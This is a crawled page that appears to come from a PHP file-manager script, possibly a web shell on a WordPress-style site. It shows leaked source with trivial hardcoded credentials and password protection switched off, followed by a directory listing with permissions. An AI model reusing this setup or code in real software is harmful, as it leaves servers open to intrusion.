# Konfigurasyon $sayfaSifreleme ='0'; # 1 acik , 0 kapali $kullaniciAdi = '123'; $sifre = '123'; # yetki kontrol fonksiyonu function yetkiKontrol($kullaniciAdi,$sifre) { if(empty($_SERVER['PHP_AUTH_USER']) || empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_USER'] != "$kullaniciAdi" || $_SERVER['PHP_AUTH_PW'] != "$sifre") { header('WWW-Authenticate: Basic realm="x"'); die(header('HTTP/1.0 401 Unauthorized')); } } # Sayfa Sifreleme aciksa if($sayfaSifreleme =='1') { # Veri ve sifre kontrolu yetkiKontrol($kullaniciAdi,$sifre); } ?>
Name | Size | Modified | Perms | Actions | |
---|---|---|---|---|---|
css | --- | July 22 2022 04:52:30. | 0755 | ||
essential-elementor | --- | September 19 2022 06:37:54. | 0755 | ||
fielde | --- | March 12 2023 15:24:41. | 0755 | ||
forum | --- | March 15 2025 03:01:45. | 0755 | ||
images | --- | July 22 2022 04:59:48. | 0755 | ||
js | --- | July 22 2022 04:52:30. | 0755 | ||
migration | --- | March 15 2025 03:51:26. | 0755 | ||
testing | --- | December 02 2024 04:28:41. | 0755 | ||
.htaccess | 231 bytes | July 06 2023 09:08:02. | 0644 | ||
LICENSE.txt | 3.51 KB | June 02 2021 10:16:32. | 0644 | ||
README.txt | 1.06 KB | June 02 2021 10:16:32. | 0644 | ||
index.php | 418 bytes | July 13 2023 19:31:43. | 0644 |